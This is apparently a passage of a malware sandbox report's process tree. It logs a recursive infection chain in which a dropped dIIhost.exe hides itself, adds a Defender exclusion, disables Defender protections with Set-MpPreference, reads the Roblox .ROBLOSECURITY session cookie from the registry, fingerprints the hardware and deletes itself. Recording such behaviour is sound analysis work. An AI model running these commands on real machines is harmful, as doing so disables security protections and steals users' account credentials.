C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"26⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "27⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"28⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"24⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid25⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"25⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'25⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 225⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY25⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY25⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV126⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption25⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV126⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory25⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid25⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER25⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV126⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name25⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause25⤵
-
C:\Windows\system32\PING.EXEping localhost26⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"24⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"25⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "26⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"27⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"23⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"23⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"24⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "25⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"26⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"22⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid23⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV124⤵
-
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"23⤵
- Views/modifies file attributes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV124⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'23⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 223⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY23⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV124⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid23⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER23⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name23⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause23⤵
-
C:\Windows\system32\PING.EXEping localhost24⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"22⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"23⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "24⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV125⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"25⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"21⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"21⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"22⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "23⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"24⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"20⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid21⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"21⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'21⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 221⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY21⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY21⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption21⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory21⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid21⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER21⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name21⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause21⤵
-
C:\Windows\system32\PING.EXEping localhost22⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"20⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"21⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "22⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"23⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"19⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"19⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"20⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "21⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"22⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"18⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid19⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"19⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'19⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV120⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 219⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY19⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY19⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption19⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory19⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid19⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER19⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name19⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause19⤵
-
C:\Windows\system32\PING.EXEping localhost20⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"18⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"19⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "20⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV121⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"21⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"17⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"17⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"18⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "19⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"20⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"16⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid17⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"17⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'17⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV118⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 217⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY17⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY17⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption17⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory17⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid17⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER17⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name17⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause17⤵
-
C:\Windows\system32\PING.EXEping localhost18⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"16⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"17⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "18⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"19⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"15⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"15⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"16⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "17⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"18⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"14⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid15⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"15⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 215⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption15⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory15⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid15⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER15⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name15⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause15⤵
-
C:\Windows\system32\PING.EXEping localhost16⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"14⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"15⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "16⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"17⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"13⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"13⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "15⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"16⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"12⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid13⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"13⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 213⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY13⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY13⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption13⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory13⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid13⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER13⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name13⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause13⤵
-
C:\Windows\system32\PING.EXEping localhost14⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"12⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"13⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "14⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"15⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"11⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"11⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "13⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"14⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"10⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"10⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "12⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"13⤵
- Executes dropped EXE
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"9⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid10⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"10⤵
- Views/modifies file attributes
-
-
